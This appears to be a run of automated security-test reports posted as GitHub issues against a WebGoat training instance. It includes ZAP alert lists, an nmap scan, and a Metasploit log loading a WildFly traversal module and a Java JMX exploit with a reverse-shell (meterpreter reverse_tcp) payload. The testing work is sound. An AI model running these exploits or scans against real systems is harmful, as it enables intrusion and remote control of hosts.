    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/WebGoat/login>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/WebGoat/login>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/WebGoat/login>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/WebGoat/login>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
    - <http://20.207.205.9:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518346087

- Site: <http://20.207.203.193:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.203.193:8080/>
    - <http://20.207.203.193:8080/robots.txt>
    - <http://20.207.203.193:8080/sitemap.xml>
    - <http://20.207.203.193:8080/WebGoat/registration>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - <http://20.207.203.193:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518583409



# Nmap-ParrotOS Scan output

GitHub Issue number # 525

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**

Nmap vulnerability scanning  
for 20.207.205.9

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (12.0 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 32.5 MB of archives.

After this operation, 44.0 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 15:03 UTC

Nmap scan report for 20.207.205.9

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 0a:9d:e0:d8:17:a2:9e:e8:69:2b:1c:c0:d8:ec:97:37 (ECDSA)

|\_ 256 8f:de:4b:1a:fd:0f:13:03:46:b1:e0:95:bd:3e:40:3d (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 14 Oct 2023 15:06:36 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 14 Oct 2023 15:06:34 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close  
| Content-Length: 0  
|\_ Date: Sat, 14 Oct 2023 15:06:35 GMT  
9090/tcp open zeus-admin?  
| fingerprint-strings:  
| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:  
| HTTP/1.1 400 Bad Request  
| Content-Length: 0  
| Connection: close  
| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 15:06:34 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T15:06:34.933+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block

| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Sat, 14 Oct 2023 15:06:52 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-14T15:06:52.559+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
|\_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/14%Time=652AAE7B%P=x86\_64-pc-linux-gnu%r(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Sat, 14 Oct 2023 15:06:

SF:34 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Sat, 14\n

SF:x20Oct 2023 15:06:35 GMT

")%r(RTSPRequest,42,"HTTP/1.1

SF: 400 Bad Request Content-Length: 0 Connection: clo

SF:se

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 14\n

SF:20Oct 2023 15:06:36 GMT

")%r(Socks5,42,"HTTP/1.1 40

SF:0 Bad Request Content-Length: 0 Connection: close  
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content  
SF:-Length: 0 Connection: close  
")%r(Help,42,"HTTP/1.1  
SF:0400 Bad Request Content-Length: 0 Connection: close\n  
SF:r  
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con  
SF:tent-Length: 0 Connection: close  
")%r(TerminalServerCoo  
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C  
SF:onnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 B  
SF:ad Request Content-Length: 0 Connection: close  
")  
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x  
SF:200 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400  
SF: Bad Request Content-Length: 0 Connection: close \n  
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len  
SF:gth: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1\n  
SF:.1 400 Bad Request Content-Length: 0 Connection: c  
SF:lose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
")%r(WMSRequest,42,"  
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio  
SF:n: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque  
SF:st Content-Length: 0 Connection: close  
");  
=====  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/14%Time=652AAE7B%P=x86\_64-pc-linux-gnu%r(G

SF:etRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cac

SF:he-Control: no-cache, no-store, max-age=0, must-revalidate\n

SF:r X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fr

SF:ame-Options: DENY Date: Sat, 14 Oct 2023 15:06:34\n

SF:x20GMT Connection: close Vary: Origin Vary: Access-Co

SF:ntrol-Request-Method Vary: Access-Control-Request-Headers X-Co

SF:ntent-Type-Options: nosniff Content-Type: application/json

SF: { \"timestamp\" : \"2023-10-14T15:06:34.933+00:00\n

SF:\", \"status\" : 404, \"error\" : \"Not

SF:0Found\", \"path\" : \"\" }\" )%r(WMSRequest,42,\"HTTP/1\n

SF:.1 400 Bad Request Content-Length: 0 Connection: c

SF:lose

)\" )%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request

SF:Content-Length: 0 Connection: close

)\" )%r(SqueezeCenter\_

SF:CLI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 C

SF:onnection: close

)\" )%r(GenericLines,42,\"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

)\" )%

SF:r(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0 \n

SF:nCache-Control: no-cache, no-store, max-age=0, must-revalid

SF:ate X-XSS-Protection: 1; mode=block Pragma: no-cache

SF:X-Frame-Options: DENY Date: Sat, 14 Oct 2023 15:06

SF::52 GMT Allow: GET, HEAD, POST, PUT, DELETE, TR

SF:ACE, OPTIONS, PATCH Connection: close Vary: Origin \n

SF:nVary: Access-Control-Request-Method Vary: Access-Control-Requ

SF:est-Headers X-Content-Type-Options: nosniff Content-Type: a

SF:pplication/json

{ \"timestamp\" : \"2023-10-14T15

SF::06:52.559+00:00\", \"status\" : 404, \"error

SF:\\" : \"Not Found\", \"path\" : \"/\\" }")%r(RTS

SF:PRequest,42,\"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel:4.2 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5373.42 ms 20.207.205.9

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 322.81 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 15:08 UTC

Nmap scan report for 20.207.205.9

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-14 15:08 UTC

Nmap scan report for 20.207.205.9

Host is up (0.20s latency).



PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds

# ZAP Full Scan Report

GitHub Issue number # 524

GitHub Issue URL : [Here!](#)

- Site: <http://20.207.205.9:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.207.205.9:8080/>
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - <http://20.207.205.9:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6518346087

# Sonar Cloud Code Scan Report

GitHub Issue number # 523

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Snyk Report

GitHub Issue number # 522

GitHub Issue URL : [Here!](#)

**Snyk\_scan**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

# Pytest-Playwright Test Output Issue

GitHub Issue number # 521

GitHub Issue URL : [Here!](#)

## **Playwright pytest**

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,  
playwright-0.4.3, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 27.84s  
=====
```

Stop pytest....

# Metasploit-ParrotOS Test output

GitHub Issue number # 520

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [543 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (6867 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

43 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev

libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Reading package lists...  
Building dependency tree...  
Reading state information...  
Calculating upgrade...  
The following packages will be upgraded:  
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file  
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev  
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3 libx11-6  
libx11-data libxpm4 locales openssh-client openssh-server  
openssh-sftp-server openssl python3-certifi python3-typing-extensions  
43 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 32.5 MB of archives.  
After this operation, 44.0 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Hit:1 https://deb.parrot.sh/parrot parrot InRelease  
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease  
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
43 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 40.80.82.22

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>



```

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job

```

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# ZAP Full Scan Report

GitHub Issue number # 519

GitHub Issue URL : [Here!](#)

- Site: <http://40.80.82.22:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://40.80.82.22:8080/WebGoat/login>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://40.80.82.22:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
    - <http://40.80.82.22:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://40.80.82.22:8080/>
    - <http://40.80.82.22:8080/robots.txt>
    - <http://40.80.82.22:8080/sitemap.xml>
    - <http://40.80.82.22:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://40.80.82.22:8080/WebGoat>
    - <http://40.80.82.22:8080/WebGoat>

- <http://40.80.82.22:8080/WebGoat>
- <http://40.80.82.22:8080/WebGoat>
- <http://40.80.82.22:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6518104121

- Site: <http://20.207.205.9:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/robots.txt>
    - <http://20.207.205.9:8080/sitemap.xml>
    - <http://20.207.205.9:8080/WebGoat/registration>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.207.205.9:8080/robots.txt>
